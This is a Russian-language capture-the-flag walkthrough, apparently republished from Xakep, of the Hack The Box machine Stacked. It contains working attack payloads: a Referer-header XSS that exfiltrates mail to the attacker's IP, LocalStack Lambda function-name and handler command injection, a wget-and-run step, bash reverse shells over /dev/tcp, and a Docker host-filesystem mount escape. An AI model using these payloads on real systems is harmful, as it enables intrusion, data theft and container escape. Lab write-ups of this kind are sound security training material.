Хакер - HTB Stacked. Разбираемся с LocalStack и AWS
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Сканирование веб-контента
- Точка входа
- XSS
- Точка опоры
- LocalStack
- AWS Lambda
- Продвижение
- Локальное повышение привилегий
В этой статье мы проэксплуатируем XSS-уязвимость, получим доступ к Docker, заюзав баг в LocalStack, а затем займемся по‑настоящему интересной задачей — повышением привилегий внутри Docker и побегом из контейнера через OS Command Injection.
Все перечисленное нам понадобится, чтобы пройти машину Stacked с площадки Hack The Box. Ее уровень сложности заявлен как «безумный» (Insane), но мы справимся, вот увидишь!
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.112 stacked.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Находим три открытых порта:
- 22 — служба OpenSSH 8.2p1;
- 80 — веб‑сервер Apache 2.4.41;
- 2376 — порт для безопасного доступа к Docker.
Первым делом идем смотреть веб. Там нас встречает простенькая страничка, на которой идет отсчет времени. Поле ввода, судя по всему, не выполняет никаких операций, а лишь перебрасывает на index.html.

Сканирование веб-контента
Давай поищем на сайте скрытые ресурсы.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-w— словарь (я использую словари из набора SecLists);-t— количество потоков;-u— URL;-fc— исключить из результата ответы с кодом 403.
Запускаем сканирование:
ffuf -u http://stacked.htb/FUZZ -t 256 -w files_interesting.txt -mc 200,204,301,302,307,401,405

Мы не нашли ничего интересного. Повторим сканирование в надежде обнаружить скрытые каталоги.
ffuf -u http://stacked.htb/FUZZ -t 256 -w directory_2.3_medium_lowercase.txt -mc 200,204,301,302,307,401,405

Тоже ничего. Но заканчивать сканирование рано, ведь еще можно перебрать поддомены. Это должно привести нас к новым сайтам на том же сервере. Для этого будем перебирать виртуальный хост в HTTP-заголовке Host:
ffuf -u http://stacked.htb -t 256 -w subdomains-top1million-110000.txt -H 'Host: FUZZ.stacked.htb' -mc 200

И это дает результат — нам доступен еще один сайт. Добавляем запись в файл /etc/hosts и идем смотреть страницу.
10.10.11.112 stacked.htb portfolio.stacked.htb

На сайте сказано про использование технологии Docker LocalStack для имитации сервисов AWS. Для подключения нам дают скачать файл docker-compose.yml.

Чуть ниже видим форму, через которую можно отправить сообщение. Так как нам приходит уведомление, значит, это очевидное место для поиска XSS-уязвимости.

Попробуем отправить простой код, который должен загрузить JS-файл с нашего сервера:
<script src="http://10.10.14.93/test.js"></script>
В ответ получаем сообщение о детекте XSS.

ТОЧКА ВХОДА
XSS
Нам предстоит прорваться сквозь фильтр XSS, а для этого первым делом выясним, где он работает — на сервере или прямо в нашем браузере. Это можно сделать, исправив значение полей при перехвате запроса в Burp, однако мы получим тот же ответ о детекте. Значит, проверка идет на сервере.
Следом проверим два заголовка HTTP, через которые часто можно получить XSS: Referer и User-Agent. И первый же дает нам отстук на 80-й порт (ловим его через листенер netcat).


Есть XSS! К тому же поле Referer раскрывает нам новый ресурс. Как круто эксплуатировать XSS в подобных ситуациях, я уже описывал в прохождении машины Crossfit.
Название поддомена и файла на сервере указывают на то, что это почтовый клиент, а параметр сообщает, что наше сообщение пришло вторым. Попробуем прочитать первое. Следующий код (файл test.js) должен выполнить запрос этого сообщения, закодировать тело страницы в Base64 и отправить его в качестве параметра answer на свой локальный сервер.
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://mail.stacked.htb/read-mail.php?id=1', true);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.onload = function () {
var request = new XMLHttpRequest();
request.open('GET', 'http://10.10.14.93/?answer=' + btoa(xhr.responseText), true);
request.send();
};
xhr.send();
Только перед повтором запроса переключим листенер netcat на веб‑сервер Python 3 (команда python3 -m http.server 80). Отправляем запрос и получаем два запроса в ответ.

Декодируем Base64 и добираемся до тела сообщения.

Тут говорится о новом сервисе s3-testing.stacked.htb, а также о том, что у нас есть права на настройку ролей (по умолчанию LocalStack не имеет политик безопасности). Добавляем это доменное имя в файл /etc/hosts и выполняем тестовый запрос.
10.10.11.112 stacked.htb portfolio.stacked.htb s3-testing.stacked.htb
curl s3-testing.stacked.htb | jq

И сразу конфигурируем awscli.
aws configure

А теперь переходим к самому интересному.
ТОЧКА ОПОРЫ
LocalStack
Проект с открытым исходным кодом LocalStack позволяет легко разрабатывать облачные приложения AWS на локальном хосте. Он разворачивает тестовую среду, которая обеспечивает почти те же функции и API, что и настоящий AWS, но без масштабирования и с меньшей надежностью. На сервере используется LocalStack версии 0.12.6 (указано в скачанном файле docker-compose.yml), в которой имеется уязвимость, позволяющая выполнить удаленный код (RCE) через лямбда‑функции.
Уязвимость кроется в трех файлах: api.py, infra.py и bootstrap.py. В первом файле определяется путь (route), который вызывает функцию get_lambda_code(). Затем эта функция выполняется с пользовательским вводом.
@app.route('/lambda/<functionName>/code', methods=['POST'])
def get_lambda_code(functionName):
...
result = infra.get_lambda_code(func_name=functionName, env=env)
Во втором файле управляемый пользователем ввод func_name объединяется в системную команду. Без какой‑либо очистки он передается в функцию cmd_lambda(). Через ряд функций пользовательский ввод попадает в run().
def get_lambda_code(func_name, retries=1, cache_time=None, env=None):
...
out = cmd_lambda('get-function --function-name %s' % func_name, env, cache_time)
В файле bootstrap.py команда выполняется через subprocess.check_output(). Здесь параметр cmd содержит управляемый пользователем ввод. Это приводит к уязвимости внедрения команд, поскольку злоумышленник может завершить исходную команду и выполнить свою собственную.
def run(cmd, print_error=True, stderr=subprocess.STDOUT, env_vars=None, inherit_cwd=False, inherit_env=True):
...
output = subprocess.check_output(cmd, shell=True, stderr=stderr, env=env_dict, cwd=cwd)
AWS Lambda
С LocalStack разобрались, теперь перейдем к лямбда‑функциям. Lambda — это предложение Amazon для бессерверных вычислений. Вместо того чтобы размещать виртуальную машину в облаке, назначается функция и набор триггеров. Когда срабатывает триггер (действия основаны на событиях или времени), назначенная функция запускается.
Создадим функцию, в имени которой будет внедрена команда, скачивающая с нашего хоста реверс‑шелл и выполняющая его. Для этого необходимо указать следующие параметры:
--function-name— имя функции;--zip-file— название загружаемого пакета;--handler— вызываемая функция в формате[файл].[функция];--role— роль функции в формате ARN;--runtime- интерпретатор для запуска кода.
Пример лямбда‑функции можно посмотреть в документации.
exports.handler = async function(event, context) {
console.log("EVENT: \n" + JSON.stringify(event, null, 2))
return context.logStreamName
}
Затем упаковываем в ZIP.
zip index.zip index.js
Используем wget 10.10.14.93/shell.sh;bash shell.sh, которая скачает и выполнит следующий реверс‑шелл.
bash -i &>/dev/tcp/10.10.14.93/4321 0>&1
А также открываем листенер netcat (rlwrap -cAr nc -lvnp 4321). И наконец, создаем лямбда‑функцию.
aws lambda create-function --function-name 'ralf;wget${IFS}10.10.14.93/shell.sh;bash${IFS}shell.sh' --zip-file fileb://index.zip --role arn:aws:iam::123456789012:role/lambda-role --endpoint-url http://s3-testing.stacked.htb --handler index.handler --runtime nodejs12.x

Команда в названии функции срабатывает, только когда оно отображается на веб‑панели. А значит, пользователь должен посетить эту панель. Для этого мы и используем найденную ранее уязвимость XSS. По умолчанию панель работает на порте 8080. Чтобы пользователь перешел на указанный адрес, отправляем следующую нагрузку.
<script>document.location="http://127.0.0.1:8000"</script>

И спустя некоторое время на локальный веб‑сервер придет запрос, а в окне листенера обнаружим бэкконнект.

ПРОДВИЖЕНИЕ
Получили доступ к системе, а это означает, что нужно собрать информацию. Обычно я использую скрипты LinPEAS, чтобы собирать информацию с хоста, и DEEPCE — чтобы собирать информацию в Docker. Но в этот раз с их помощью не удалось найти ничего интересного.
Попробуем отследить запускаемые процессы. Для этого загрузим на хост утилиту pspy. Снова ничего не находим, пока не попробуем создать новую лямбда‑функцию.
aws lambda create-function --function-name 'ralf_test' --zip-file fileb://index.zip --role arn:aws:iam::123456789012:role/lambda-role --endpoint-url http://s3-testing.stacked.htb --handler index.handler --runtime nodejs12.x

Попробуем вызвать срабатывание триггера.
aws lambda invoke --function-name ralf_test --endpoint-url http://s3-testing.stacked.htb out.txt

В логах находим отражение переданного нами при создании функции формата index.handler. То есть мы можем попробовать выполнить инъекцию команды ОС:
index.handler $(/bin/bash -c "bash -i &>/dev/tcp/10.10.14.93/4321 0>&1")
Создаем лямбда‑функцию:
aws lambda create-function --function-name 'ralf_test' --zip-file fileb://index.zip --role arn:aws:iam::123456789012:role/lambda-role --endpoint-url http://s3-testing.stacked.htb --handler 'index.handler $(/bin/bash -c "bash -i &>/dev/tcp/10.10.14.93/4321 0>&1")' --runtime nodejs12.x
И после вызова триггера получаем бэкконнект, причем в привилегированном контексте.
aws lambda invoke --function-name ralf_test --endpoint-url http://s3-testing.stacked.htb out.txt

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Мы получили неограниченные привилегии и с помощью Docker API можем создать новый контейнер или переопределить существующий, при этом монтировав файловую систему основного хоста. Получим список образов.
docker image ls

Получим TTY-оболочку через Python:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Теперь монтируем хостовую файловую систему / в каталог /mnt образа 0601ea177088.
docker run -d -v /:/mnt -it 0601ea177088

Проверяем каталог /mnt, и там будет «основной хост».

Машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei